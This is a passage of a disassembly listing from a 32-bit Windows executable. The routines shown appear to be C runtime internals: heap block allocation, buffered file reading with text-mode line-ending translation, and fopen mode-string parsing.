test ebx, ebx
jge short loc_41F1D6
loc_41F224: ; CODE XREF: sub_41F1B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F25B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F25B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F23B: ; CODE XREF: sub_41F1B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F24C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F23B
loc_41F24C: ; CODE XREF: sub_41F1B0+8Ej
cmp edx, 400h
jnz short loc_41F25B
push ecx
call sub_41F15A
pop ecx
loc_41F25B: ; CODE XREF: sub_41F1B0+11j
; sub_41F1B0+7Dj ...
cmp esi, off_43D5F4
jz short loc_41F26D
cmp [ebp+arg_0], 0
jg loc_41F1BD
loc_41F26D: ; CODE XREF: sub_41F1B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F1B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F272 proc near ; CODE XREF: sub_41B721+3Ap
; sub_41B872+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43D5F0
push esi
mov ecx, edx
loc_41F27E: ; CODE XREF: sub_41F272+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F288
cmp eax, [ecx+14h]
jb short loc_41F290
loc_41F288: ; CODE XREF: sub_41F272+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F2C5
jmp short loc_41F27E
; ---------------------------------------------------------------------------
loc_41F290: ; CODE XREF: sub_41F272+14j
test al, 0Fh
jnz short loc_41F2C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F2C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F2C5: ; CODE XREF: sub_41F272+1Aj
; sub_41F272+20j ...
xor eax, eax
pop esi
retn
sub_41F272 endp
; =============== S U B R O U T I N E =======================================
sub_41F2C9 proc near ; CODE XREF: sub_41B721+4Dp
; sub_41B872+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F30D
inc dword_4DE644
cmp dword_4DE644, 20h
jnz short locret_41F30D
push 10h
call sub_41F1B0
pop ecx
locret_41F30D: ; CODE XREF: sub_41F2C9+2Bj
; sub_41F2C9+3Aj
retn
sub_41F2C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F30E proc near ; CODE XREF: sub_41B872+1ACp
; sub_41BB83+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43F610
push edi
loc_41F31C: ; CODE XREF: sub_41F30E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F3C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F381
loc_41F347: ; CODE XREF: sub_41F30E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F36A
cmp [edi+4], ebx
jbe short loc_41F36A
push ebx
push ecx
push eax
call sub_41F516
add esp, 0Ch
test eax, eax
jnz short loc_41F3D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F36A: ; CODE XREF: sub_41F30E+40j
; sub_41F30E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F347
jmp short loc_41F384
; ---------------------------------------------------------------------------
loc_41F381: ; CODE XREF: sub_41F30E+37j
mov ebx, [ebp+arg_0]
loc_41F384: ; CODE XREF: sub_41F30E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F3CA
loc_41F397: ; CODE XREF: sub_41F30E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F3B6
cmp [edi+4], ebx
jbe short loc_41F3B6
push ebx
push eax
push [ebp+var_4]
call sub_41F516
add esp, 0Ch
test eax, eax
jnz short loc_41F3D9
mov [edi+4], ebx
loc_41F3B6: ; CODE XREF: sub_41F30E+8Dj
; sub_41F30E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F397
jmp short loc_41F3CA
; ---------------------------------------------------------------------------
loc_41F3C7: ; CODE XREF: sub_41F30E+14j
mov ebx, [ebp+arg_0]
loc_41F3CA: ; CODE XREF: sub_41F30E+87j
; sub_41F30E+B7j
mov esi, [esi]
cmp esi, off_43F610
jz short loc_41F3E9
jmp loc_41F31C
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F30E+54j
; sub_41F30E+A3j
mov off_43F610, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F511
; ---------------------------------------------------------------------------
loc_41F3E9: ; CODE XREF: sub_41F30E+C4j
mov eax, offset off_43D5F0
mov edi, eax
loc_41F3F0: ; CODE XREF: sub_41F30E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F3FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F408
loc_41F3FC: ; CODE XREF: sub_41F30E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F4DD
jmp short loc_41F3F0
; ---------------------------------------------------------------------------
loc_41F408: ; CODE XREF: sub_41F30E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F437
loc_41F426: ; CODE XREF: sub_41F30E+127j
cmp [ebp+var_4], 10h
jge short loc_41F437
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F426
loc_41F437: ; CODE XREF: sub_41F30E+116j
; sub_41F30E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_4281D0 ; VirtualAlloc
cmp eax, esi
jnz loc_41F50F
push 0
push [ebp+var_8]
push esi
call sub_41BC00
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F49E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F474: ; CODE XREF: sub_41F30E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F474
loc_41F49E: ; CODE XREF: sub_41F30E+15Ej
mov off_43F610, edi
lea eax, [edi+2018h]
loc_41F4AA: ; CODE XREF: sub_41F30E+1A8j
cmp ecx, eax
jnb short loc_41F4BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F4B8
add ecx, 8
jmp short loc_41F4AA
; ---------------------------------------------------------------------------
loc_41F4B8: ; CODE XREF: sub_41F30E+1A3j
cmp ecx, eax
loc_41F4BA: ; CODE XREF: sub_41F30E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F511
; ---------------------------------------------------------------------------
loc_41F4DD: ; CODE XREF: sub_41F30E+F2j
call sub_41F016
test eax, eax
jz short loc_41F50F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43F610, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F511
; ---------------------------------------------------------------------------
loc_41F50F: ; CODE XREF: sub_41F30E+143j
; sub_41F30E+1D6j
xor eax, eax
loc_41F511: ; CODE XREF: sub_41F30E+D6j
; sub_41F30E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F30E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F516 proc near ; CODE XREF: sub_41F30E+4Ap
; sub_41F30E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F55B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F54A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F553
; ---------------------------------------------------------------------------
loc_41F54A: ; CODE XREF: sub_41F516+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F553: ; CODE XREF: sub_41F516+32j
lea eax, [edi+8]
jmp loc_41F629
; ---------------------------------------------------------------------------
loc_41F55B: ; CODE XREF: sub_41F516+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F564
mov eax, esi
loc_41F564: ; CODE XREF: sub_41F516+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F5AE
loc_41F56B: ; CODE XREF: sub_41F516+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F5A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F577: ; CODE XREF: sub_41F516+68j
cmp byte ptr [ebx], 0
jnz short loc_41F580
inc ebx
inc esi
jmp short loc_41F577
; ---------------------------------------------------------------------------
loc_41F580: ; CODE XREF: sub_41F516+64j
cmp esi, edx
jnb short loc_41F5D2
cmp eax, [ebp+var_4]
jnz short loc_41F58E
mov [ecx+4], esi
jmp short loc_41F59A
; ---------------------------------------------------------------------------
loc_41F58E: ; CODE XREF: sub_41F516+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F633
loc_41F59A: ; CODE XREF: sub_41F516+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F5A6
; ---------------------------------------------------------------------------
loc_41F5A1: ; CODE XREF: sub_41F516+59j
movzx esi, bl
add eax, esi
loc_41F5A6: ; CODE XREF: sub_41F516+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F56B
loc_41F5AE: ; CODE XREF: sub_41F516+53j
lea esi, [ecx+8]
loc_41F5B1: ; CODE XREF: sub_41F516+EBj
; sub_41F516+F2j
cmp esi, edi
jnb short loc_41F633
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F633
mov al, [esi]
test al, al
jnz short loc_41F603
push 1
lea ebx, [esi+1]
pop eax
loc_41F5C9: ; CODE XREF: sub_41F516+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F5F3
inc ebx
inc eax
jmp short loc_41F5C9
; ---------------------------------------------------------------------------
loc_41F5D2: ; CODE XREF: sub_41F516+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F5E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F5EC
; ---------------------------------------------------------------------------
loc_41F5E3: ; CODE XREF: sub_41F516+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F5EC: ; CODE XREF: sub_41F516+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F629
; ---------------------------------------------------------------------------
loc_41F5F3: ; CODE XREF: sub_41F516+B6j
cmp eax, edx
jnb short loc_41F60A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F633
mov esi, ebx
jmp short loc_41F5B1
; ---------------------------------------------------------------------------
loc_41F603: ; CODE XREF: sub_41F516+ABj
movzx eax, al
add esi, eax
jmp short loc_41F5B1
; ---------------------------------------------------------------------------
loc_41F60A: ; CODE XREF: sub_41F516+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F61B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F624
; ---------------------------------------------------------------------------
loc_41F61B: ; CODE XREF: sub_41F516+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F624: ; CODE XREF: sub_41F516+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F629: ; CODE XREF: sub_41F516+40j
; sub_41F516+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F635
; ---------------------------------------------------------------------------
loc_41F633: ; CODE XREF: sub_41F516+7Ej
; sub_41F516+9Dj ...
xor eax, eax
loc_41F635: ; CODE XREF: sub_41F516+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F63A proc near ; CODE XREF: sub_41B872+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F674
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F6D4
; ---------------------------------------------------------------------------
loc_41F674: ; CODE XREF: sub_41F63A+26j
jnb short loc_41F6DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F6DB
lea eax, [ecx+edx]
loc_41F689: ; CODE XREF: sub_41F63A+59j
cmp eax, esi
jnb short loc_41F697
cmp byte ptr [eax], 0
jnz short loc_41F695
inc eax
jmp short loc_41F689
; ---------------------------------------------------------------------------
loc_41F695: ; CODE XREF: sub_41F63A+56j
cmp eax, esi
loc_41F697: ; CODE XREF: sub_41F63A+51j
jnz short loc_41F6DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F6CF
cmp esi, eax
jbe short loc_41F6CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F6C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F6C1
loc_41F6BA: ; CODE XREF: sub_41F63A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F6BA
loc_41F6C1: ; CODE XREF: sub_41F63A+7Ej
mov [ebx+4], eax
jmp short loc_41F6CF
; ---------------------------------------------------------------------------
loc_41F6C6: ; CODE XREF: sub_41F63A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F6CF: ; CODE XREF: sub_41F63A+68j
; sub_41F63A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F6D4: ; CODE XREF: sub_41F63A+38j
mov [ebp+var_4], 1
loc_41F6DB: ; CODE XREF: sub_41F63A:loc_41F674j
; sub_41F63A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F63A endp
; =============== S U B R O U T I N E =======================================
sub_41F6E3 proc near ; CODE XREF: sub_41B78A+A9p
; sub_41C1BF+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F7B7
test al, 40h
jnz loc_41F7B7
test al, 2
jz short loc_41F709
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F7B7
; ---------------------------------------------------------------------------
loc_41F709: ; CODE XREF: sub_41F6E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F71D
push esi
call sub_4240B7
pop ecx
jmp short loc_41F722
; ---------------------------------------------------------------------------
loc_41F71D: ; CODE XREF: sub_41F6E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F722: ; CODE XREF: sub_41F6E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F7BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F7A6
cmp eax, 0FFFFFFFFh
jz short loc_41F7A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F77B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F764
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DF920[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F769
; ---------------------------------------------------------------------------
loc_41F764: ; CODE XREF: sub_41F6E3+6Bj
mov edi, offset dword_43FC70
loc_41F769: ; CODE XREF: sub_41F6E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F77B
or dh, 20h
mov [esi+0Ch], edx
loc_41F77B: ; CODE XREF: sub_41F6E3+62j
; sub_41F6E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F798
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F798
test ch, 4
jnz short loc_41F798
mov dword ptr [esi+18h], 1000h
loc_41F798: ; CODE XREF: sub_41F6E3+9Fj
; sub_41F6E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F7A6: ; CODE XREF: sub_41F6E3+55j
; sub_41F6E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F7B7: ; CODE XREF: sub_41F6E3+Aj
; sub_41F6E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F6E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7BC proc near ; CODE XREF: sub_41B78A+90p
; sub_41F6E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DFA20
jnb loc_41F999
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DF920h[eax*4]
mov eax, dword_4DF920[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F999
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F871
test dl, 2
jnz short loc_41F871
test dl, 48h
jz short loc_41F831
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F831
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F831: ; CODE XREF: sub_41F7BC+56j
; sub_41F7BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_4280EC ; ReadFile
test eax, eax
jnz short loc_41F884
call dword_428094 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F86C
mov dword_4DE5C4, 9
mov dword_4DE5C8, ecx
jmp loc_41F9AA
; ---------------------------------------------------------------------------
loc_41F86C: ; CODE XREF: sub_41F7BC+99j
cmp eax, 6Dh
jnz short loc_41F878
loc_41F871: ; CODE XREF: sub_41F7BC+4Cj
; sub_41F7BC+51j
xor eax, eax
jmp loc_41F9AD
; ---------------------------------------------------------------------------
loc_41F878: ; CODE XREF: sub_41F7BC+B3j
push eax
call sub_420A7F
pop ecx
jmp loc_41F9AA
; ---------------------------------------------------------------------------
loc_41F884: ; CODE XREF: sub_41F7BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F994
test edx, edx
jz short loc_41F8A9
cmp byte ptr [edi], 0Ah
jnz short loc_41F8A9
or al, 4
jmp short loc_41F8AB
; ---------------------------------------------------------------------------
loc_41F8A9: ; CODE XREF: sub_41F7BC+E2j
; sub_41F7BC+E7j
and al, 0FBh
loc_41F8AB: ; CODE XREF: sub_41F7BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F98E
loc_41F8C3: ; CODE XREF: sub_41F7BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F97E
cmp al, 0Dh
jz short loc_41F8DF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F970
; ---------------------------------------------------------------------------
loc_41F8DF: ; CODE XREF: sub_41F7BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F8FD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F8F4
add [ebp+arg_8], 2
jmp short loc_41F952
; ---------------------------------------------------------------------------
loc_41F8F4: ; CODE XREF: sub_41F7BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F970
; ---------------------------------------------------------------------------
loc_41F8FD: ; CODE XREF: sub_41F7BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4280EC ; ReadFile
test eax, eax
jnz short loc_41F925
call dword_428094 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41F96C
loc_41F925: ; CODE XREF: sub_41F7BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41F96C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F947
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F952
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F970
; ---------------------------------------------------------------------------
loc_41F947: ; CODE XREF: sub_41F7BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F957
cmp [ebp+var_1], 0Ah
jnz short loc_41F957
loc_41F952: ; CODE XREF: sub_41F7BC+136j
; sub_41F7BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F96F
; ---------------------------------------------------------------------------
loc_41F957: ; CODE XREF: sub_41F7BC+18Ej
; sub_41F7BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422DCB
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F970
loc_41F96C: ; CODE XREF: sub_41F7BC+167j
; sub_41F7BC+16Dj
mov byte ptr [edi], 0Dh
loc_41F96F: ; CODE XREF: sub_41F7BC+199j
inc edi
loc_41F970: ; CODE XREF: sub_41F7BC+11Ej
; sub_41F7BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F8C3
jmp short loc_41F98E
; ---------------------------------------------------------------------------
loc_41F97E: ; CODE XREF: sub_41F7BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F98E
or al, 2
mov [esi], al
loc_41F98E: ; CODE XREF: sub_41F7BC+101j
; sub_41F7BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F994: ; CODE XREF: sub_41F7BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41F9AD
; ---------------------------------------------------------------------------
loc_41F999: ; CODE XREF: sub_41F7BC+12j
; sub_41F7BC+39j
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
loc_41F9AA: ; CODE XREF: sub_41F7BC+ABj
; sub_41F7BC+C3j
or eax, 0FFFFFFFFh
loc_41F9AD: ; CODE XREF: sub_41F7BC+B7j
; sub_41F7BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F7BC endp
; =============== S U B R O U T I N E =======================================
sub_41F9B2 proc near ; CODE XREF: sub_41B872+126p
; sub_41B872+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DE648
test eax, eax
jz short loc_41F9CA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F9CA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F9CA: ; CODE XREF: sub_41F9B2+7j
; sub_41F9B2+12j
xor eax, eax
retn
sub_41F9B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9CD proc near ; CODE XREF: sub_41BB12+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DE7B4
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FA06
cmp al, 72h
jz short loc_41F9FF
cmp al, 77h
jnz loc_41FB1A
mov ecx, 301h
jmp short loc_41FA0B
; ---------------------------------------------------------------------------
loc_41F9FF: ; CODE XREF: sub_41F9CD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FA0E
; ---------------------------------------------------------------------------
loc_41FA06: ; CODE XREF: sub_41F9CD+1Dj
mov ecx, 109h
loc_41FA0B: ; CODE XREF: sub_41F9CD+30j
or esi, 2
loc_41FA0E: ; CODE XREF: sub_41F9CD+37j
push 1
pop edx
loc_41FA11: ; CODE XREF: sub_41F9CD+8Bj
; sub_41F9CD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FB00
cmp edx, ebx
jz loc_41FB00
movsx eax, al
cmp eax, 54h
jg short loc_41FA9F
jz short loc_41FA8F
sub eax, 2Bh
jz short loc_41FA79
sub eax, 19h
jz short loc_41FA6F
sub eax, 0Eh
jz short loc_41FA5A
dec eax
jnz loc_41FAF1
cmp [ebp+var_4], ebx
jnz loc_41FAF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FA11
; ---------------------------------------------------------------------------
loc_41FA5A: ; CODE XREF: sub_41F9CD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FAF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FA11
; ---------------------------------------------------------------------------
loc_41FA6F: ; CODE XREF: sub_41F9CD+6Aj
test cl, 40h
jnz short loc_41FAF1
or ecx, 40h
jmp short loc_41FA11
; ---------------------------------------------------------------------------
loc_41FA79: ; CODE XREF: sub_41F9CD+65j
test cl, 2
jnz short loc_41FAF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FA11
; ---------------------------------------------------------------------------
loc_41FA8F: ; CODE XREF: sub_41F9CD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FAF1
or ecx, eax
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FA9F: ; CODE XREF: sub_41F9CD+5Ej
sub eax, 62h
jz short loc_41FAEC
dec eax
jz short loc_41FAD5
sub eax, 0Bh
jz short loc_41FABE
sub eax, 6
jnz short loc_41FAF1
test ch, 0C0h
jnz short loc_41FAF1
or ch, 40h
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FABE: ; CODE XREF: sub_41F9CD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FAF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FAD5: ; CODE XREF: sub_41F9CD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FAF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FAEC: ; CODE XREF: sub_41F9CD+D5j
test ch, 0C0h
jz short loc_41FAF8
loc_41FAF1: ; CODE XREF: sub_41F9CD+72j
; sub_41F9CD+7Bj ...
xor edx, edx
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FAF8: ; CODE XREF: sub_41F9CD+122j
or ch, 80h
jmp loc_41FA11
; ---------------------------------------------------------------------------
loc_41FB00: ; CODE XREF: sub_41F9CD+4Aj
; sub_41F9CD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_4240FB
mov ecx, eax
add esp, 10h
cmp ecx, ebx
